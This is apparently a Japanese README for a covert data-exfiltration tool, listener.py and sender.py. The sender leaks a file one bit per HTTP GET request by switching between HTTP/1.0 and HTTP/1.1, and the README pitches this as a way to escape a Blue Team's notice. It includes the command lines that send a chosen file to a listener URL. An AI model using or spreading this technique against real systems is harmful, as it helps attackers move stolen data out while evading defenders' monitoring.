
HTTPプロトコルバージョンを使用してファイルを外部に送信します("HTTP/1.0"は0、"HTTP/1.1"は1)
HTTPプロトコルバージョンを使用して、ファイルを1ビットずつ送信します("HTTP/1.0"は0、"HTTP/1.1"は1を表します)。GETリクエストを使用するため、Blue TeamはあなたのIPアドレスへのリクエストのみを確認します。ただし、大きなファイルを送信するには時間がかかり、例えば200KBを送信するのに1時間必要で、リクエスト数は非常に多くなります(ファイルのバイト数の8倍)。

リスナーを実行するには、listener.pyを使用します。オプションの引数としてリッスンするポートを指定します。
python3 listener.py [PORT]
例:
python3 listener.py 8080
ファイルを送信するには、sender.pyを使用します。2つの必須引数(ファイルパスとリスナーのURL)と、1つのオプション引数(リモートで作成されるファイル名、指定しない場合は入力ファイルの名前が使用されます)を指定します。
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
例:
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt
最初にファイルが送信されます:

変数 debug が True に設定されている場合(デフォルトでは True)、リスナーのログメッセージにバイナリ値が表示されます:

入力ファイルの内容で新しいファイルが作成されます:

(確かではありませんが)Twitterで誰かがこれを使ってデータを外部に送信したと読んだ記憶があり、そのアイデアが気に入りました。もしその方なら教えてください。